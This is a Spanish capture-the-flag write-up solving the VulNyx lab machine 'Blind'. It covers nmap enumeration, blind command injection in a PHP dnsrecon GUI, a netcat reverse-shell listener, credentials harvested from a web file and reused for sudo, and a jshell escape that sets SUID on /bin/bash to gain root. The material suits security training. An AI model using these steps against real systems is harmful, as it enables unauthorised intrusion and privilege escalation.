VulNyx - Blind
Information
Blind es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-31 12:13 +0100
Nmap scan report for 192.168.1.56
Host is up (0.00047s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
root@kali:~ ❯ nmap -sVC -p80 192.168.1.56
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-31 12:14 +0100
Nmap scan report for 192.168.1.56
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/dnsrecon-gui
|_http-server-header: Apache/2.4.66 (Debian)
Shell (microjoan)
80/TCP (HTTP)
Site

En el escaneo inicial de nmap, se detecta mediante el script NSE http-robots.txt la ruta /dnsrecon-gui en la directiva disallowed.
| http-robots.txt: 1 disallowed entry
|_/dnsrecon-gui
Site (/dnsrecon-gui)
En el sitio web se encuentra DNSrecon-gui, que no es más que dnsrecon con una interfaz gráfica implementada en PHP.

Command Injection
Intento inyectar un comando en el input de la aplicación, sin éxito.

Blind Command Injection
Al no observar la salida del comando, no podemos descartar una inyección de comandos, ya que podríamos estar ante un caso blind.
Si juego con los tiempos utilizando un sleep, parece que sí resulta vulnerable.

Reverse Shell
Una vez confirmada la inyección de comandos, intento obtener una reverse shell.

Obtengo la shell como usuario microjoan
root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.56] 49394
id ; hostname
uid=1000(microjoan) gid=1000(microjoan) groups=1000(microjoan)
blind
Privilege Escalation
Enumeration
Files
En una variable encuentro credenciales almacenadas en /var/www/html/dnsrecon-gui/index.php.
microjoan@blind:/$ grep -iE 'user|pass' /var/www/html/dnsrecon-gui/index.php
$db_user = "microjoan";
$db_pass = "microP@zz";
Sudo
Al revisar privilegios mediante sudo se solicita un password
microjoan@blind:/$ sudo -l
[sudo] password for microjoan:
Credential Reuse
El usuario microjoan puede ejecutar como root el binario jshell con sudo
microjoan@blind:/$ sudo -l
[sudo] password for microjoan:
Matching Defaults entries for microjoan on blind:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User microjoan may run the following commands on blind:
(root) PASSWD: /usr/bin/jshell
Abuse
En GTFOBins se proporciona la secuencia de shell-escape para abusar de esto.
Runtime.getRuntime().exec(“/path/to/command”);
Asigno permisos SUID (4755) a /bin/bash y me convierto en usuario root.
microjoan@blind:/$ sudo -u root /usr/bin/jshell
| Welcome to JShell -- Version 17.0.17
| For an introduction type: /help intro
jshell> Runtime.getRuntime().exec("chmod 4755 /bin/bash");
$1 ==> Process[pid=872, exitValue="not exited"]
jshell> /exit
| Goodbye
microjoan@blind:/$ /bin/bash -pi
bash-5.2# id ; hostname
uid=1000(microjoan) gid=1000(microjoan) euid=0(root) groups=1000(microjoan)
blind
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
bash-5.2# find / -name user.txt -o -name root.txt 2>/dev/null | xargs cat
31c*****************************
ccb*****************************
Hasta aquí la resolución de la máquina Blind.
Happy Hacking!